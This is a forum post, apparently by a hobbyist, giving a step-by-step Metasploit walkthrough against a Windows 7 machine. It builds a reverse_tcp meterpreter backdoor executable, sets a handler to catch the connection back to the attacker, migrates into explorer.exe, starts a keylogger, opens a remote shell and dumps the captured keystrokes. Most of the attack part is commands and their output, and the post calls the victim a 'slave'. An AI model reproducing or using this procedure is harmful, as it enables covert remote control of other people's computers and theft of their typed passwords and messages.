Hi there everyone.
I got a 2nd machine at home running win7 mostly used for gaming, last night a received an SP1 update along with several security updates that followed, so i decided to try my luck and attempt to hack into it. it worked , this is in details how i did it :
Step 1:
ultralazer@backbox:/opt/metasploit3/msf3# .
/msfpayload windows/meterpreter/reverse_tcp LHOST=â€your local ip†LPORT=â€any port you wish†x > /root/backdoor.exe
Your local IP is the one you noted earlier and for port you could select 4444.
(Everything has to be entered without quotes)
You should get something like this:
Created by msfpayload ( newbielink:http://www.metasploit.com [nonactive]).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.0.23 ,LPORT=4444
ultralazer@backbox:/opt/metasploit3/msf3#
Also, now on your backbox desktop, you would be seeing a backdoor.exe file.
After executing the backdoor.exe on your slave's computer follow these steps:
Now open the 1st shell window with msfconsole in it.
msf >
Type the following:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.23
LHOST => 192.168.0.23
msf exploit(handler) > set LPORT 4444
LPORT => 4444All the connections are done. You have already made an executable file which makes a reverse connection to you.
And now, you have set the meterpreter to listen to you on port 4444.
The last step you have to do now, is to type in “exploit†and press enter,
msf exploit(handler) > exploit
You would see a meterpreter prompt like this
meterpreter >
meterpreter > sessions -iType in ps to list the active processes
meterpreter > psSearch for explorer.exe and migrate to the process
meterpreter > migrate 5716
- Migrating to 5716...
- Migration completed successfully.
meterpreter >Type in the following:
meterpreter > use privNow, if you want to start the Keylogger activity on slave, just type keyscan_start
Now, if you want to go to the slave’s computer,
Jus type shell
meterpreter > shell
Process 5428 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright © 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
You would now be having a command prompt,
Type in whoami, to see the computer’s name of slave :
C:\Windows\system32>whoami
whoami
win7-pc\win 7
C:\Windows\system32>
Let’s say the slave has typed in anything on his computer.
Just type exit, to return to meterpreter.
Now type in keyscan_dump, to see all the typed keystrokes :
meterpreter > keyscan_dumpDumping captured keystroke
;D I will be installing win8 soon and i will try this exploit on it, then i will let you all know. ;D
Ultra_Lazer